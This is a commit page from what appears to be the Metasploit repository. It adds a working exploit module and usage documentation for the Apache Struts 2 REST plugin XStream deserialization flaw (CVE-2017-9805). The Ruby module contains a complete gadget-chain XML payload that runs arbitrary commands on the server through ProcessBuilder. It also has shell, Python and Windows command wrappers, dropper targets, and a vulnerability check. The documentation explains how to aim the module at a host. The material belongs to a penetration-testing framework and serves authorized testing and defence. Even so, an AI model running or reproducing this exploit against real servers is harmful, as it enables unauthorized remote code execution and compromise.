Skip to content

Commit 8f864c2

Browse files
author
Brent Cook
committed
Land rapid7#8924, Add Apache Struts 2 REST Plugin XStream RCE
2 parents c91ef1f + 54a6297 commit 8f864c2

File tree

2 files changed

+241
-0
lines changed

2 files changed

+241
-0
lines changed
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
`struts2_rest_xstream` is a module that exploits Apache Struts 2's REST plugin, using the XStream handler to deserialise XML requests perform arbitrary code execution.
2+
3+
## Vulnerable Application
4+
5+
Apache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts 2.5.12
6+
7+
You can download these versions here with any version of Apache Tomcat:
8+
9+
http://archive.apache.org/dist/struts/
10+
11+
You will also need to install a Struts 2 showcase application, which can be found here:
12+
13+
https://mvnrepository.com/artifact/org.apache.struts/struts2-rest-showcase
14+
15+
## Options
16+
17+
**TARGETURI**
18+
19+
The path to a struts application action
20+
21+
**VHOST**
22+
23+
The HTTP server virtual host. You will probably need to configure this as well, even though it is set as optional.
24+
25+
## Demonstration
26+
27+
**The Check Command**
28+
29+
The `struts2_rest_xstream` module comes with a check command that can effectively check if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the following:
30+
31+
```
32+
set VERBOSE true
33+
set RHOST [IP]
34+
set TARGETURI [path to the Struts app with an action]
35+
```
36+
37+
When the module is in verbose mode, the `check` command will try to tell you the OS information, and whether or not the machine is vulnerable. Like this:
38+
39+
```
40+
msf exploit(struts2_rest_xstream) > check
41+
42+
[+] 10.1.11.11:8080 The target appears to be vulnerable.
43+
```
44+
45+
**Exploiting the Host**
46+
47+
After identifying the vulnerability on the target machine, you can try to exploit it. Be sure to set TARGETURI to the correct URI for your application, and the TARGET variable for the appropriate host OS.
Lines changed: 194 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,194 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
8+
Rank = ExcellentRanking
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::CmdStager
12+
include Msf::Exploit::Powershell
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Apache Struts 2 REST Plugin XStream RCE',
17+
'Description' => %q{
18+
Apache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts 2.5.12,
19+
using the REST plugin, are vulnerable to a Java deserialization attack
20+
in the XStream library.
21+
},
22+
'Author' => [
23+
'Man Yue Mo', # Vulnerability discovery
24+
'wvu' # Metasploit module
25+
],
26+
'References' => [
27+
['CVE', '2017-9805'],
28+
['URL', 'https://struts.apache.org/docs/s2-052.html'],
29+
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement'],
30+
['URL', 'https://github.com/mbechler/marshalsec']
31+
],
32+
'DisclosureDate' => 'Sep 5 2017',
33+
'License' => MSF_LICENSE,
34+
'Platform' => ['unix', 'python', 'linux', 'win'],
35+
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
36+
'Privileged' => false,
37+
'Targets' => [
38+
['Unix (In-Memory)',
39+
'Platform' => 'unix',
40+
'Arch' => ARCH_CMD
41+
],
42+
['Python (In-Memory)',
43+
'Platform' => 'python',
44+
'Arch' => ARCH_PYTHON
45+
],
46+
=begin this stuff that doesn't work yet
47+
['PowerShell (In-Memory)',
48+
'Platform' => 'win',
49+
'Arch' => [ARCH_X86, ARCH_X64]
50+
],
51+
=end
52+
['Linux (Dropper)',
53+
'Platform' => 'linux',
54+
'Arch' => [ARCH_X86, ARCH_X64]
55+
],
56+
['Windows (Dropper)',
57+
'Platform' => 'win',
58+
'Arch' => [ARCH_X86, ARCH_X64]
59+
]
60+
],
61+
'DefaultTarget' => 0
62+
))
63+
64+
register_options([
65+
Opt::RPORT(8080),
66+
OptString.new('TARGETURI', [true, 'Path to Struts action', '/struts2-rest-showcase/orders/3'])
67+
])
68+
end
69+
70+
def check
71+
if execute_command(random_crap)
72+
CheckCode::Appears
73+
else
74+
CheckCode::Safe
75+
end
76+
end
77+
78+
def exploit
79+
case target.name
80+
when /Unix/, /Python/, /PowerShell/
81+
execute_command(payload.encoded)
82+
else
83+
execute_cmdstager
84+
end
85+
end
86+
87+
#
88+
# Exploit methods
89+
#
90+
91+
def execute_command(cmd, opts = {})
92+
cmd = case target.name
93+
when /Unix/, /Linux/
94+
%W{/bin/sh -c #{cmd}}
95+
when /Python/
96+
%W{python -c #{cmd}}
97+
when /PowerShell/
98+
# This doesn't work yet
99+
%W{cmd.exe /c #{cmd_psh_payload(cmd, payload.arch, remove_comspec: true)}}
100+
when /Windows/
101+
%W{cmd.exe /c #{cmd}}
102+
end
103+
104+
# Encode each command argument with XML entities
105+
cmd.map! { |arg| arg.encode(xml: :text) }
106+
107+
res = send_request_cgi(
108+
'method' => 'POST',
109+
'uri' => target_uri.path,
110+
'ctype' => 'application/xml',
111+
'data' => xstream_payload(cmd)
112+
)
113+
114+
check_response(res) || fail_with(Failure::UnexpectedReply, res.inspect)
115+
end
116+
117+
# java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO
118+
def xstream_payload(cmd)
119+
# XXX: <spillLength> and <read> need to be removed for Windows
120+
<<EOF
121+
<map>
122+
<entry>
123+
<jdk.nashorn.internal.objects.NativeString>
124+
<flags>0</flags>
125+
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
126+
<dataHandler>
127+
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
128+
<is class="javax.crypto.CipherInputStream">
129+
<cipher class="javax.crypto.NullCipher">
130+
<initialized>false</initialized>
131+
<opmode>0</opmode>
132+
<serviceIterator class="javax.imageio.spi.FilterIterator">
133+
<iter class="javax.imageio.spi.FilterIterator">
134+
<iter class="java.util.Collections$EmptyIterator"/>
135+
<next class="java.lang.ProcessBuilder">
136+
<command>
137+
<string>#{cmd.join('</string><string>')}</string>
138+
</command>
139+
<redirectErrorStream>false</redirectErrorStream>
140+
</next>
141+
</iter>
142+
<filter class="javax.imageio.ImageIO$ContainsFilter">
143+
<method>
144+
<class>java.lang.ProcessBuilder</class>
145+
<name>start</name>
146+
<parameter-types/>
147+
</method>
148+
<name>#{random_crap}</name>
149+
</filter>
150+
<next class="string">#{random_crap}</next>
151+
</serviceIterator>
152+
<lock/>
153+
</cipher>
154+
<input class="java.lang.ProcessBuilder$NullInputStream"/>
155+
<ibuffer></ibuffer>
156+
<done>false</done>
157+
<ostart>0</ostart>
158+
<ofinish>0</ofinish>
159+
<closed>false</closed>
160+
</is>
161+
<consumed>false</consumed>
162+
</dataSource>
163+
<transferFlavors/>
164+
</dataHandler>
165+
<dataLen>0</dataLen>
166+
</value>
167+
</jdk.nashorn.internal.objects.NativeString>
168+
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
169+
</entry>
170+
<entry>
171+
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
172+
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
173+
</entry>
174+
</map>
175+
EOF
176+
end
177+
178+
#
179+
# Utility methods
180+
#
181+
182+
def check_response(res)
183+
res && res.code == 500 && res.body.include?(error_string)
184+
end
185+
186+
def error_string
187+
'java.lang.String cannot be cast to java.security.Provider$Service'
188+
end
189+
190+
def random_crap
191+
Rex::Text.rand_text_alphanumeric(rand(42) + 1)
192+
end
193+
194+
end

0 commit comments

Comments
 (0)